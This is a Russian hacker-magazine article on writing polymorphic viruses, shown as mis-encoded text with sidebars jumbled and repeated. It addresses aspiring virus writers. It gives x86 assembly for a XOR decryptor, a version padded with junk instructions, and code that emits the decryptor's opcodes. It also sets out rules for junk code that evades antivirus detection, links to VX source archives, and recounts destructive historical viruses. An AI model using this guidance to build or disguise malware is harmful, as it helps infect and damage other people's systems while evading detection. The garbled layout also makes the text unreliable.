ðàñøèôðîâùèê. Åñëè ýòî ñëó÷èëîñü,
âñå âèðóñû, ïîäêëþ÷åííûå ê íåìó,
áóäóò äåòåêòèòüñÿ. Ñîãëàñèñü, íåïðè-
ÿòíî, êîãäà òâîé íîâûé âèðü îáíàðó-
æèâàåòñÿ êàê ýêçåìïëÿð èç ñåìåé-
ñòâà MtE âèðóñîâ 1992 ãîäà.

ÏÐÀÊÒÈÊÀ
Ëþáîé ìîæåò íàïèñàòü õîðîøèé

ïîëèìîðôíûé âèðóñ. Íåîáõîäèìî
ëèøü íåìíîãî ðàçáèðàòüñÿ â àññåìá-
ëåðå. Íà ñîçäàíèå ñðåäíåãî ïîëèìîð-
ôèêà òðàòèòñÿ íå áîëåå øåñòè ÷àñîâ.
Õî÷åøü ïîïðîáîâàòü? Òîãäà ïîñëó-
øàé ðÿä ðåêîìåíäàöèé ïî ñîñòàâëå-
íèþ àëãîðèòìîâ òâîåãî áóäóùåãî âè-
ðÿ è ðàñøèôðîâùèêà.
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Äâà ôàéëà, çàðàæåííûå îäíèì è òåì æå
âèðóñîì, âñåãäà áóäóò èìåòü ðàçíûé 

ðàçìåð. Êàê òû ïîíèìàåøü, çàäåòåêòèòü 
òàêóþ çàðàçó î÷åíü ñëîæíî

Âîîáùå, ïî-
ëèìîðôèçì -
âûñîêîêëàñ-
ñíàÿ òåõíè-
êà, ïîçâîëÿ-
þùàÿ âèðóñó
áûòü íåçà-
ìå÷åííûì ïî
ñòàíäàðòíîé
ñèãíàòóðå
(èëè, ïîïðîñ-
òó, ìàñêå).
Îáû÷íî äå-
òåêòîðû çà-
ðàçû îïðåäå-
ëÿþò âèðü
ïî õàðàêòåð-
íûì êóñêàì
åãî êîäà. Â
ñëó÷àå ñ ïî-
ëèìîðôèêîì
òàêîå íå
ïðîêàòèò.

Ýòîò ìàòåðèàë ïîìîæåò òåáå ðàçîáðàòüñÿ â àçàõ ïîëèìîðôèçìà.
Çà äîïîëíèòåëüíûìè ñâåäåíèÿìè îáðàùàéñÿ ê ñëåäóþùèì èñòî÷-
íèêàì:
www.viruslist.com/viruslistbooks.html?id=12 - ÷òî òàêîå ïîëèìîð-
ôèçì è ñ ÷åì åãî åäÿò.
http://z0mbie.host.sk/poly.html - ñòàòüÿ ïðî óðîâíè ïîëèìîðôè-
êîâ, à òàêæå ïðî ñïîñîáû äåòåêòèðîâàíèÿ.
http://vx.netlux.org/lib/vgl01.html - õîðîøàÿ ñòàòüÿ ïðî ïîëèìîð-
ôèçì (íà àíãëèéñêîì).
http://vx.netlux.org/texts/html/i31t.html - ïîñîáèå ïî íàïèñàíèþ
ñâîåãî ïîëèìîðôèêà (íà àíãëèéñêîì).
http://iomas.vsau.ru/uch-proz/el_izdan/internet/leture_virus.htm -
èñòîðèÿ ðàçâèòèÿ âèðóñîâ (â òîì ÷èñëå è ïîëèìîðôíûõ).
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Íà ñàéòå http://vx.netlux.org òû ìîæåøü

ñêà÷àòü Source-êîä èçâåñòíûõ

ãåíåðàòîðîâ
Îïèñàíèå èçâåñòíûõ ïîëèìîðôèêîâ íà

www.viruslist.com
Ãðàìîòíî íàïèñàííûé ãåíåðàòîð



Òåïåðü âèð-
ìåéêåðó íå
íóæíî áûëî
ïèñàòü ñâîé
äåøèôðàòîð,
à ëèøü âîñ-
ïîëüçîâàòü-
ñÿ MtE, â ðå-
çóëüòàòå ÷å-
ãî ìèð óçíàë
î íîâîì ñå-
ìåéñòâå âè-
ðóñîâ.

Ëþáîé ìî-
æåò íàïè-
ñàòü õîðî-
øèé ïîëèìî-
ðôíûé âè-
ðóñ. Íåîáõî-
äèìî ëèøü
íåìíîãî ðàç-
áèðàòüñÿ â
àññåìáëåðå.
Íà ñîçäàíèå
ñðåäíåãî ïî-
ëèìîðôèêà
òðàòèòñÿ íå
áîëåå øåñòè
÷àñîâ.

Ñóùåñòâóþò
âèðóñû, êî-
òîðûå ñîñòî-
ÿò èç ïðîãðà-
ììíûõ åäè-
íèö-÷àñòåé.
Îíè ïîñòîÿí-
íî ìåíÿþòñÿ
â òåëå è ïå-
ðåìåùàþò
ñâîè ïîäï-
ðîãðàììû.
Ëå÷åíèå òà-
êèõ âèðóñîâ
ïîêà íå ïðî-
èçâîäèòñÿ,
íî è äëÿ íà-
ïèñàíèÿ
íóæíî î÷åíü
õîðîøî ðàç-
áèðàòüñÿ â
àññåìáëåðå.

Î÷åíü ïðîñòà ðåàëèçàöèÿ ïîèñêà
çåðêàëüíûõ êîìàíä. Äëÿ ýòîãî íå-
îáõîäèìî ñîçäàòü ñâîäíóþ òàáëè-
öó ñ îïåðàíäàìè. Ê íåé äîëæíà
ïðèëàãàòüñÿ äîïîëíèòåëüíàÿ èí-
ôîðìàöèÿ: íàëè÷èå çåðêàëà, íåîá-
õîäèìîñòü çàìåíû êîìàíäû è ïðî-
÷åå. Åñëè ÷åëîâåê íåìíîãî ïîíèìà-
åò â âèðìåéêèíãå è àññåìáëåðå, òî
ñîñòàâèòü ïîäîáíóþ òàáëèöó åìó
áóäåò íåñëîæíî. Ñ êîìàíäàìè-ìó-
ñîðîì ìîæíî ïîñòóïèòü àíàëîãè÷-
íûì îáðàçîì, êàê è ñ çåðêàëàìè.
Êñòàòè î ìóñîðå. Ê òàêèì èíñòðóê-
öèÿì ïðèëàãàåòñÿ ðÿä îãðàíè÷å-
íèé, êîòîðûå äîëæåí èñïîëíÿòü
êàæäûé âèðóñîïèñàòåëü, ÷òîáû åãî
òâîðåíèå ðàáîòàëî êàê ñëåäóåò.
Èòàê, êîìàíäà íå äîëæíà:

1. Ïåðåäàâàòü óïðàâëåíèå çà
âíåøíþþ ïðîãðàììó. Òî åñòü óï-
ðàâëÿòü êîäîì ìîæåò ëèøü ðàñ-
øèôðîâùèê è íèêòî äðóãîé. Åñëè
íàðóøèòü ýòî ïðàâèëî - âèðóñ áó-
äåò çàìå÷åí.
2. Èçìåíÿòü ðåãèñòðû, êîòîðûå

èñïîëüçóþò ðàáî÷èå êîìàíäû. Ñàì
ïîíèìàåøü, ìóñîð åñòü ìóñîð è îí
íèêîèì îáðàçîì íå äîëæåí ïåðåñå-
êàòüñÿ ñ ïðàâèëüíûì êîäîì.
3. Âûçûâàòü ôàòàëüíûå îøèáêè,

à òàêæå ãåíåðèðîâàòü èñêëþ÷åíèÿ,
òàê êàê ýòî îñòàíîâèò ðàáîòó ðàñ-
øèôðîâùèêà, ëèáî ñäåëàåò åå íå-
âåðíîé.
Ñìûñë âñåõ ïðàâèë ñâîäèòñÿ ê îäíî-
ìó - ìóñîð íå äîëæåí ìåøàòü ïðî-
öåññó ðàñøèôðîâêè êîäà, à ëèøü
ðàäîâàòü ãëàç àíòèâèðóñà è íåîïûò-
íîãî ïîëüçîâàòåëÿ, òðàññèðóþùåãî
çàðàæåííûé ôàéë.
Åùå îäèí ïîëåçíûé ñîâåò: ñòàâü íå-
ðàáî÷óþ êîìàíäó ïîñëå öèêëà, íî
ïåðåä øèôðîâàííûì êîäîì - ýòî èç-
áàâèò îò íåêîòîðûõ ïðîáëåì ñ êîí-
âåéåðîì ó ïðîöåññîðîâ Pentium.
Íó, à òåïåðü ðàññìîòðèì è âîâñå
êîíêðåòíûé ïðèìåð. Ïóñòü ó íàñ
åñòü ñàìûé ÷òî íè íà åñòü ýëåìåí-
òàðíûé ðàñøèôðîâùèê:

mov ecx,virus_size
lea

edi,pointer_to_code_to_crypt
mov eax,crypt_key

_begin_loop:  
xor dword ptr [edi],eax
add edi,4
loop _begin_loop

Òåïåðü ïîñìîòðèì, ÷òî æå ìîæåò
ñäåëàòü íàø ïîëèìîðôíûé äâèæîê
ñ ýòèì êîäîì (ñ ó÷åòîì âñåãî òîãî,
÷òî ÿ ïèñàë âûøå):

shl eax,2
add ebx,157637369h
imul eax,ebx,69

(*) mov ecx,virus_size
rcl esi,1
cli

(*) lea
edi,pointer_to_code_to_crypt

xchg eax,esi
(*) mov eax,crypt_key

mov esi,22132546h
and ebx,0FF242569h

(*)  xor dword ptr [edi],eax
or eax,34548286h
add     esi,76869678h

(*)   add     edi,4
stc
push eax
xor edx,24564631h
pop esi

(*) loop 00401013h
cmc
or edx,132h

Â ýòîì êîäå çâåçäî÷êàìè îòìå÷åíû
èñõîäíûå èíñòðóêöèè. Êîíå÷íî, àí-
òèâèðóñíèêó îáíàðóæèòü òàêîé êîä
áóäåò íåñëîæíî, íî ãîðàçäî ñëîæ-
íåå, ÷åì îáû÷íûé, íåçàùèùåííûé.
Òû íèêîãäà íå çàäóìûâàëñÿ íàä
òåì, áåç ÷åãî íå ìîæåò îáîéòèñü íè
îäèí ïîëèìîðôíûé äâèæîê? Êî-
íå÷íî! Îí íå ìîæåò îáîéòèñü áåç
ãåíåðàòîðà [ïñåâäî]ñëó÷àéíûõ ÷è-
ñåë. Òóò ñàìà ñîáîé íàïðàøèâàåòñÿ
ëþáèìàÿ ôóíêöèÿ rand(), íî â
ASM'å åå íåò, ïîýòîìó ïðèäåòñÿ
èçîáðåòàòü ÷òî-íèáóäü ñâîå. Õîðî-
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Ïðèìåð ðåàëèçàöèè ãåíåðàòîðà íà... Bat-ñêðèïòàõ!

Ïîäðîáíûé Help ïî èñïîëüçîâàíèþ ìîäóëåé Dizx

Î÷åíü ïðîñòà ðåàëèçàöèÿ ïîèñêà 
çåðêàëüíûõ êîìàíä. Äëÿ ýòîãî íåîáõîäèìî

ñîçäàòü ñâîäíóþ òàáëèöó ñ îïåðàíäàìè



øèì âàðèàíòîì ÿâëÿåòñÿ èñïîëü-
çîâàíèå ñëåäóþùåãî êîäà:

rand:
in eax,40h
ret

Îñíîâíàÿ ñóòü ïîëèìîðôíîãî
äâèæêà ñîñòîèò â òîì, ÷òîáû ãåíå-
ðèðîâàòü êîä "íà ëåòó", "èç íè÷å-
ãî": ìû ìîæåì çàïèñàòü êîä â êà-
êóþ-òî ñïåöèàëüíî îòâåäåííóþ äëÿ
ýòîãî îáëàñòü ïàìÿòè, à çàòåì âûç-
âàòü åãî. Ïðèìåðîì òîìó ìîæåò
ñëóæèòü ïîäîáíàÿ ðåàëèçàöèÿ êî-
äà äåøèôðîâùèêà, êîòîðûé ìû
ïðèâîäèëè âûøå:

lea      edi,virus_address 
mov     al,0B9h            ; îïêîä 

; MOV
ECX,imm32
stosb            ; ñîõðàíèòü

; EAX, êóäà óêàçûâàåò
EDI 
mov     eax,virus_size  ; ×èñëî, êî-
òîðîå

; íóæíî ñîõðà-
íèòü
stosd                       
mov     al,0BFh         ; îïêîä

; MOV EDI,off-
set32
stosb                       

mov     eax,offset crypt    ; 32-áèòíîå
; ñîõðàíÿ-

åìîå
; ñìåùå-

íèå
stosd                       
mov     al,0B8h           ; îïêîä

; MOV
EAX,imm32
stosb                       
mov     eax, crypt_key      
stosd                       
mov     ax,0731h             ; îïêîä

; XOR
[EDI],EAX 
stosw                       
mov     ax,0C783h   ; îïêîä

; ADD EDI,imm32
(>7F)
stosw                       
mov     al,04h       ; Ñîõðàíÿåìûé

; Imm32 (>7F)
stosb                       
mov     ax,0F9E2h            ; îïêîä
LOOP _begin_loop
stosw     

Íåñëîæíî äîãàäàòüñÿ, ÷òî äîñòàòî÷-
íî ïàðû ñòðî÷åê êîäà, ÷òîáû ñäå-
ëàòü ýòîò êîä ãåíåðàòîðîì ïîëèìî-
ðôíîãî äåøèôðîâùèêà. Äîñòàòî÷-
íî õîòÿ áû äîáàâèòü ñëó÷àéíóþ
âñòàâêó îäíîáàéòîâûõ èíñòðóêöèé
ïîñëå êàæäîãî stos.
ß äóìàþ, íà ýòîì íåáîëüøîì ïðèìå-
ðå ìîæíî ïîíÿòü, êàê ðàáîòàþò ïî-
ëèìîðôíûå äâèæêè. Êîíå÷íî, ðå-
àëüíî îíè ãîðàçäî ñëîæíåå: îíè èñ-
ïîëüçóþò ðàçëè÷íûå ðåãèñòðû, ïå-
ðåäâèæåíèå ÷àñòåé êîäà è ò.ï. - íî
ýòî óæå çàâèñèò îò òâîåãî âîîáðà-
æåíèÿ è æåëàíèÿ âîïëîùàòü çëî â
àññåìáëåðíîì êîäå :).
Êàê ÿ óæå ãîâîðèë, ìîæíî íå èçîá-
ðåòàòü âåëîñèïåä, à çàþçàòü óæå
ãîòîâûå ðàñøèôðîâùèêè. Äëÿ íåî-
ïûòíîãî âèðìåéêåðà ýòî åäèíñòâåí-
íàÿ âîçìîæíîñòü íàïèñàòü ðàáî÷èé
âèðóñ, òàê êàê åìó âðÿä ëè óäàñòñÿ
ñäåëàòü ñâîé ðàáî÷èé ìîäóëü (ýòî
äîâîëüíî ñëîæíî è ïîä ñèëó ëèøü
ñïåöó). Íî ñ ÷óæèì ðàñøèôðîâùè-
êîì òû ìîæåøü ñòîëêíóòüñÿ ñ ðÿ-
äîì ïðîáëåì, îäíà èç êîòîðûõ óæå
áûëà íàçâàíà - àíòèâèðóñ ;). Âûçîâ
äåøèôðàòîðà íàõîäèòñÿ, êàê ïðàâè-
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Îäíèì èç
îïàñíûõ âè-
ðóñîâ áûë
Predator,
êîòîðûé ïå-
ðåõâàòûâàë
ïðåðûâàíèÿ
13h è 21h è
çàïèñûâàë
ñåáÿ â êîíåö
âñåõ COM-
ôàéëîâ. Èñ-
ïîëüçóÿ int
13h, âèðü
ïðîâåðÿë
ñåêòîðà,
ñ÷èòûâàå-
ìûå ñ äèñ-
êîâ, è èçìå-
íÿë â íèõ
îäèí áèò â
îïðåäåëåí-
íîå âðåìÿ.
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Ðåçèäåíòíîñòü - âèðóñ çàïèñûâàåò ÷àñòü ñåáÿ â îïåðàòèâíóþ ïà-
ìÿòü, à çàòåì ïåðåõâàòûâàåò âñå âûçîâû ñèñòåìû, íàïðàâëåííûå ê
îáúåêòàì çàðàæåíèÿ. Òàêàÿ çàðàçà îñòàåòñÿ àêòèâíîé âñå âðåìÿ, äî
âûêëþ÷åíèÿ êîìïüþòåðà.

Ñòåëñ-òåõíîëîãèè - ÷àñòè÷íîå èëè ïîëíîå ñîêðûòèå â ñèñòåìå.
Ïðè ýòîì âèðü ïåðåõâàòûâàåò çàïðîñ îïåðàöèîíêè íà ÷òåíèå/çà-
ïèñü çàðàæåííûõ îáúåêòîâ, ëèáî ïîäñòàâëÿþò âìåñòî ñåáÿ íåçàðà-
æåííûå ó÷àñòêè èíôîðìàöèè.

ÏÎÌÈÌÎ ÏÎËÈÌÎÐÔÈÇÌÀ ÑÓÙÅÑÒÂÓÞÒ È ÄÐÓÃÈÅ
ÒÅÕÍÎËÎÃÈÈ ØÈÔÐÎÂÀÍÈß. ÂÎÒ ÍÅÊÎÒÎÐÛÅ ÈÇ ÍÈÕ:

Source-êîä èçâåñòíîãî äåøèôðîâùèêà

Mutator Âûâîä ïîëèìîðôèêà TPE.Civilwar

È íàïîñëåäîê ñêàæó - åñëè áóäåøü 
ïèñàòü âèðóñ, òî äåëàé ýòî ëèøü 

â öåëÿõ ñàìîîáðàçîâàíèÿ

»



Ñóùåñòâóþò
âèðóñû, êî-
òîðûå ñîñòî-
ÿò èç ïðîãðà-
ììíûõ åäè-
íèö-÷àñòåé.
Îíè ïîñòîÿí-
íî ìåíÿþòñÿ
â òåëå è ïå-
ðåìåùàþò
ñâîè ïîäï-
ðîãðàììû.
Ëå÷åíèå òà-
êèõ âèðóñîâ
ïîêà íå ïðî-
èçâîäèòñÿ,
íî è äëÿ íà-
ïèñàíèÿ
íóæíî î÷åíü
õîðîøî ðàç-
áèðàòüñÿ â
àññåìáëåðå.

ëî, â ðàáî÷åì ðåãèñòðå, óçíàòü êî-
òîðûé òû ñìîæåøü, ïðî÷èòàâ ìàíó-
àë ïî äàííîìó ìîäóëþ.
È íàïîñëåäîê ñêàæó - åñëè áóäåøü
ïèñàòü âèðóñ, òî äåëàé ýòî ëèøü â
öåëÿõ ñàìîîáðàçîâàíèÿ. Èñïîëüçóÿ
÷óæîé äåøèôðàòîð êîäà, õîðîøèé
ïîëèìîðô òû âñå ðàâíî íå íàïè-
øåøü. Ïîýòîìó çàïóñêàòü âèðü íà
÷óæèõ áåççàùèòíûõ ìàøèíàõ áóäåò
ïðîñòî ãëóïî.

ÈÑÊÓÑÑÒÂÅÍÍÛÉ ÈÍÒÅËËÅÊÒ
Â ïîëèìîðôû íåðåäêî âñòðàèâà-

þò êîä, êîòîðûé âûïîëíÿåòñÿ â çà-
âèñèìîñòè îò îïðåäåëåííîé ñèòóà-
öèè. Íàïðèìåð, ïðè äåòåêòèðîâàíèè
âèðóñà îí ìîæåò âûçâàòü ïðîöåäó-
ðó ñàìîóíè÷òîæåíèÿ. Êàê ñàìîãî ñå-
áÿ (÷àñòè÷íàÿ èëè ïîëíàÿ áåçâîçâ-
ðàòíàÿ ìîäèôèêàöèÿ êîäà), òàê è
ñèñòåìû (ìàññîâîå çàðàæåíèå ñèñ-
òåìíûõ ôàéëîâ áåç âîçìîæíîñòè
âîññòàíîâëåíèÿ). Ýòî î÷åíü îñëîæ-

íÿåò ïîèñê ëåêàðñòâà îò çàðàçû - äî
àíòèâèðóñíîé ëàáîðàòîðèè âèðóñ
äîõîäèò óæå â íåðàáî÷åì ñîñòîÿ-
íèè. Òàêæå áûëè ñëó÷àè âûçîâà
èñêëþ÷àþùåãî êîäà ïðè ïîïûòêå
èçëå÷åíèÿ âèðÿ (íà âûñîêîì óðîâíå
ïîëèìîðôèçìà).
Âèðóñîïèñàòåëè ïðåæäå âñåãî àê-
öåíòèðóþò âíèìàíèå íà òðåõ ãëàâ-
íûõ âåùàõ â ñâîåì òâîðåíèè:

1. Ìàñêèðîâêà. Öåëü êàæäîãî ïî-
ëèìîðôíèêà - êàê ìîæíî äîëüøå
ïðîäåðæàòüñÿ â ñèñòåìå äî äåòåêòè-
ðîâàíèè àíòèâèðóñîì.
2. Çàùèòà. Ïîñëå îáíàðóæåíèÿ

çàðàçû ïðîèñõîäèò âûçîâ èñêëþ÷à-
þùåãî êîäà. Îá ýòîì áûëî íàïèñàíî
âûøå.
3. Ñëîæíîñòü. Êîä âèðóñà äîëæåí

áûòü î÷åíü çàïóòàííûì, ñîäåðæàòü
â ñåáå èíñòðóêöèè-çåðêàëà, êîìàí-
äû-ìóñîð è ïðî÷åå. Ýòî îáû÷íî ðà-
áîòàåò ïðîòèâ íîâè÷êà, íî ïðîôåñ-

ñèîíàë â òå÷åíèå íåñêîëüêèõ ÷àñîâ
èçó÷åíèÿ êîäà ïðè òðàññèðîâêå,
ïðîñëåäèò çà àëãîðèòìîì çàðàçû.

ÌÀÑÑÎÂÛÅ ÇÀÐÀÆÅÍÈß
Òåïåðü, êîãäà ìû çíàåì ïðèí-

öèï ïîëèìîðôèêîâ, îáðàòèìñÿ ê
èñòîðèè. Ïåðâûé òàêîé âèðü ïîÿ-
âèëñÿ â 1990 ãîäó è íàçûâàëñÿ
Chameleon. Îí âïèñûâàë ñâîé êîä
â êîíåö COM-ôàéëîâ, à òàêæå èñ-
ïîëüçîâàë äâà àëãîðèòìà øèôðî-
âàíèÿ. Ïåðâûé øèôðóåò òåëî ïî
òàéìåðó â çàâèñèìîñòè îò çíà÷å-
íèÿ çàäàííîãî êëþ÷à. Âòîðîé èñ-
ïîëüçóåò äèíàìè÷åñêîå øèôðîâà-
íèå è ïðè ýòîì àêòèâíî ìåøàåò
òðàññèðîâêå âèðÿ. Ñóùåñòâîâàëà è
ìîäèôèêàöèÿ Chameleon. Âòîðàÿ
âåðñèÿ 1 àïðåëÿ ôîðìàòèðîâàëà
äèñê A: (ó÷èòûâàÿ îáúåìû òîãî âðå-
ìåíè, ýòî áûëî âåñüìà íåïðèÿòíî).
Ïîñëå ýòîãî ýâîëþöèÿ ïîëèìîðôîâ
çàâåðøèëàñü. Òîëüêî ÷åðåç òðè ãî-

äà âûøåë âèðóñ Phantom1, êîòîðûé
äîáðàëñÿ è äî ðóññêèõ êîìïüþòå-
ðîâ. Îí íå áûë îïàñåí, õîòÿ ñîäåð-
æàë â êîäå ðÿä îøèáîê, èç-çà êîòî-
ðûõ ãåíåðàòîð íå ìîã ðàñøèôðî-
âàòü òåëî âèðóñà. Ïðè ýòîì èñïîë-
íÿåìûé ôàéë ïåðåñòàâàë ôóíêöèî-
íèðîâàòü. Ïîñëå äëèòåëüíîãî ïðîñ-
òîÿ ñèñòåìû ôàíòîì âûâîäèë íà ýê-
ðàí âèäåîèçîáðàæåíèå ñ íàäïèñüþ.
Îíà ãëàñèëà, ÷òî êîìïüþòåð íàõî-
äèòñÿ ïîä íàáëþäåíèåì îïàñíîãî
âèðóñà.
Ïàðàëëåëüíî âèðóñàì ïîÿâëÿëèñü è
ïîëèìîðôèê-ãåíåðàòîðû, îäíèì èç
êîòîðûì áûë MtE, îòêðûâøèé öåëîå
çàðàçíîå ñåìåéñòâî. Îí óæå èñ-
ïîëüçîâàë çåðêàëüíûå ôóíêöèè,
÷åì çàòðóäíÿë ñâîå äåòåêòèðîâà-
íèå. Òåïåðü âèðìåéêåðó íå íóæíî
áûëî ïèñàòü ñâîé äåøèôðàòîð, à
ëèøü âîñïîëüçîâàòüñÿ MtE, â ðå-
çóëüòàòå ÷åãî ìèð óçíàë î íîâîì
ñåìåéñòâå âèðóñîâ. ×òî èíòåðåñíî,
ïåðâûé MtE-âèðóñ áûë ïåðåõâà÷åí
àíòèâèðóñíîé ëàáîðàòîðèåé, ïîýòî-
ìó áûñòðûé âûõîä çàùèòû îò ïåð-
âîãî ñåðüåçíîãî ïîëèìîðôèêà çà-
ùèòèë ìíîæåñòâî ðàáî÷èõ ñòàíöèé
îò çàðàçû.
Íà 1993 ãîä ïðèøëîñü î÷åíü ìíîãî
ïîëèìîðôíûõ âèðóñîâ. Ïðè ýòîì
ïðîãðàììèñòû, âèäèìî, ñîðåâíîâà-
ëèñü ìåæäó ñîáîé è ðåøàëè, ÷üÿ çà-
ðàçà îêàæåòñÿ êðó÷å âñåõ. Ïîÿâëÿ-
ëèñü âñå íîâûå äåøèôðàòîðû, êîòî-
ðûå þçàëèñü äðóãèìè âèðìåéêåðàìè
äëÿ ñâîèõ ãðÿçíûõ öåëåé. Îäíèì èç
òàêèõ îïàñíûõ âèðóñîâ áûë
Predator, êîòîðûé ïåðåõâàòûâàë
ïðåðûâàíèÿ 13h è 21h è çàïèñûâàë
ñåáÿ â êîíåö âñåõ COM-ôàéëîâ. Èñ-
ïîëüçóÿ int 13h, âèðü ïðîâåðÿë ñåê-
òîðà, ñ÷èòûâàåìûå ñ äèñêîâ, è èçìå-
íÿë â íèõ îäèí áèò â îïðåäåëåííîå
âðåìÿ.
Äðóãîå ñåìåéñòâî âèðóñîâ Daemaen
çàïèñûâàåò ñåáÿ â COM, EXE è SYS-
ôàéëû. Ïðè ýòîì áèíàðíèêè, íà÷è-
íàþùèåñÿ íà SC, VF è F-, íå çàðàæà-
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Òàáëèöà, õàðàêòåðíàÿ äëÿ SMEG.Queeg

Îñîáåííîñòüþ âèðóñà ÿâëÿåòñÿ òî, 
÷òî îí ïðîâåðÿåò íîñèòåëü 

íà âîçìîæíîñòü çàïèñè



Äåøèôðà-
òîð SPE
ïîçâîëÿë çà-
ïèñûâàòü
êîä âèðóñà â
èñïîëíÿå-
ìûå ôàéëû
è îðãàíèçî-
âûâàë ñïå-
öèàëüíûé
ñ÷åò÷èê.
Ïðè åãî îï-
ðåäåëåííûõ
çíà÷åíèÿõ
âèðü ñòèðàë
ñîäåðæèìîå
MBR âèí-
÷åñòåðà è
ïåðåçàãðó-
æàë êîìïü-
þòåð.

þòñÿ. Ñ âèäó ýòè âèðóñû âûãëÿäÿò
âïîëíå áåçîïàñíî, íî íà ñàìîì äåëå
ïðîèñõîäèò çàïèñü â MBR âèí÷åñòå-
ðà è â boot-ñåêòîðà äèñêåò, à òåëî
çàðàçû õðàíèòñÿ â ïîñëåäíèõ ñåêòî-
ðàõ. Âèðü ñîäåðæèò â ñåáå ðÿä îøè-
áîê, êîòîðûå âïîëíå ìîãóò ðàçðó-
øèòü FAT.
Âèðìåéêåðû îáû÷íî îñòàâëÿþò âìåñ-
òå ñ âèðóñîì êàêóþ-ëèáî èíôîðìà-
öèþ. Òàê, íàïðèìåð, ïîëèìîðôèê
Invisible çàïèñûâàåòñÿ â êîíåö èñïîë-
íÿåìûõ ôàéëîâ. Â çàâèñèìîñòè îò
âðåìåíè çàðàçà çàìåíÿåò ôàéë äðó-
ãîé ïðîãðàììîé, ïðè çàïóñêå êîòîðîé
þçåð ñëûøèò ìóçûêó è âèäèò ïåðåä
ñîáîé òåêñò ïåñíè I'm the invisible
man (õèò òåõ âðåìåí). Åùå îäèí ïðè-
ìåð - âèðóñ Seat. Ïîñëå çàðàæåíèÿ
âèðü ïåðåõâàòûâàåò 21h, çàïèñûâàåò
ñåáÿ â èñïîëíÿåìûå ôàéëû. Çàòåì
íàñòóïàåò ñàìîå èíòåðåñíîå. Âðåìÿ
îò âðåìåíè íà ýêðàíå êîìïüþòåðà ïî-
ÿâëÿåòñÿ ãîëàÿ çàäíèöà, à ïðè íàæà-
òèè íà êëàâèøè ðàçäàþòñÿ õàðàêòåð-
íûå äëÿ èçîáðàæåíèÿ çâóêè ;).
Â ýòî æå âðåìÿ ãðóïïà ïðîãðàììèñ-
òîâ èç áîëãàðñêîé øêîëû (òàì âñåã-
äà ïèñàëèñü ãðàìîòíûå âèðè) ñîçäà-
åò ïîëèìîðôèê Todor. Îí íå èñïîëü-
çîâàë âûñîêîêëàññíûõ àëãîðèòìîâ.
Åãî èçÿùíîñòü çàêëþ÷àëàñü â òîì,

÷òî çàðàçà ðàçðàáàòûâàëàñü ïî íî-
âîé òåõíîëîãèè. Âåñ âèðóñà ñîñòàâ-
ëÿë ðîâíî 1993 áàéòà, ÷òî ñîîòâåò-
ñòâîâàëî ãîäó âûïóñêà.
Ïðè çàïóñêå Òîäîðà ïðîèñõîäèò ðàñ-
øèôðîâêà åãî òåëà. Äëÿ ýòîãî þçà-
åòñÿ äîâîëüíî ïðîñòîé àëãîðèòì, îñ-
íîâàííûé íà XOR. Ñ êàæäûì øàãîì
ñëîâî âèðóñà XOR'èòñÿ ñ íåïîñòîÿí-
íûì êëþ÷îì. Ïîñëå àêòèâàöèè ïå-
ðåõâàòûâàåòñÿ àäðåñ 24h è ïðîèñõî-
äèò çàðàæåíèå ôàéëà command.com.
Â äîâåðøåíèå âèðóñ ïîðàæàåò 5
ôàéëîâ ñ ðàñøèðåíèåì COM èëè
EXE.
Îñîáåííîñòüþ âèðóñà ÿâëÿåòñÿ òî,
÷òî îí ïðîâåðÿåò íîñèòåëü íà âîç-
ìîæíîñòü çàïèñè. Ïåðåä çàðàæåíèåì
êàæäîãî áèíàðíèêà ñîçäàåòñÿ âðå-
ìåííûé ôàéë (çàòåì óäàëÿåòñÿ). Êîã-
äà ýòî íåâîçìîæíî (àäðåñ 24h íóæåí
äëÿ âîçâðàòà èìåííî òàêèõ îøèáîê),
çàðàçà ïðåêðàùàåò ñâîþ äåÿòåëü-
íîñòü, ñ÷èòàÿ, ÷òî íîñèòåëü çàùèùåí
îò çàïèñè. Àòðèáóòû è äàòà ôàéëà
ïîñëå çàðàæåíèÿ ñòàíîâÿòñÿ ïðåæíè-
ìè. Ëèøü çíà÷åíèå ñåêóíä ñòàíîâèò-
ñÿ ðàâíûì 22. Ýòî ñäåëàíî äëÿ òîãî,
÷òîáû íå èíôèöèðîâàòü áèíàðíèê
ïîâòîðíî (âèðóñ ïðîâåðÿåò äàòó âî

âðåìÿ ïîèñêà). Ê òîìó æå, 15 ÷èñëà
êàæäîãî ìåñÿöà, âèðü ñëó÷àéíûì îá-
ðàçîì øèôðóåò ñåêòîð æåñòêîãî äèñ-
êà. Ýòî äåëàåò ïîëèìîðôèêà äîâîëü-
íî îïàñíûì, òàê êàê ñåêòîðîì ìîæåò
ÿâëÿòüñÿ è Root Directory.
Íå îáîøëîñü è áåç îøèáîê. Todor
íåêîððåêòíî ïðîâåðÿåò äëèíó ôàé-
ëà. Òî÷íåå, åñëè îíà áóäåò áîëåå 64
Êá, çàðàçèòü ôàéë íå óäàñòñÿ, à
êîìïüþòåð çàâèñíåò. Âòîðàÿ îøèáêà
çàêëþ÷àåòñÿ â òîì, ÷òî â òåëå ðàñ-
øèôðîâùèêà ñîäåðæèòñÿ ëèøíÿÿ
êîìàíäà POP. Ôàéë, â êîòîðûé îíà
ïîïàäåò, íåìèíóåìî ïîâèñíåò ïîñëå
çàïóñêà. È íàïîñëåäîê, çàðàæàÿ áè-
íàðíèê, âèðóñ ñíà÷àëà èçìåíÿåò çà-
ãîëîâîê ôàéëà, à çàòåì çàïèñûâàåò
ñåáÿ â åãî êîíåö. Ïðè îøèáêå çàïè-
ñè ëèáî ïåðåïîëíåíèè íîñèòåëÿ èñ-
ïîëíÿåìûé ôàéë áóäåò èñïîð÷åí, è
âîññòàíîâèòü åãî óæå íå óäàñòñÿ.
Ïîñëå âûõîäà Òîäîðà ìèð óçíàë î
íîâîì ïîëèìîðôèê-ãåíåðàòîðå TPE
(Trident Polymorphic Engine), êîòî-
ðûé ðàñïðîñòðàíÿëñÿ â àðõèâàõ BBS
ñ ïîäðîáíûì êîäîì è äîêóìåíòàöèåé
ïî èñïîëüçîâàíèþ. Áëàãîäàðÿ ýòîìó,
ñòàëè ïîÿâëÿòüñÿ âèðóñû (ñåìåé-
ñòâî TPE), þçàþùèå ýòîò ìîäóëü.
Ê êîíöó 1993 ãîäà ãåíåðàòîðîâ ñòà-
ëî âûïóñêàòüñÿ î÷åíü ìíîãî. Àíòè-

âèðóñû íå ñïðàâëÿëèñü ñ òàêèì ïî-
òîêîì, ýòî òàêæå îáóñëàâëèâàëîñü
óëó÷øåíèåì òåõíîëîãèè ïîëèìîð-
ôèçìà.
Ðàññìîòðèì ïðèìåðû. Äåøèôðàòîð
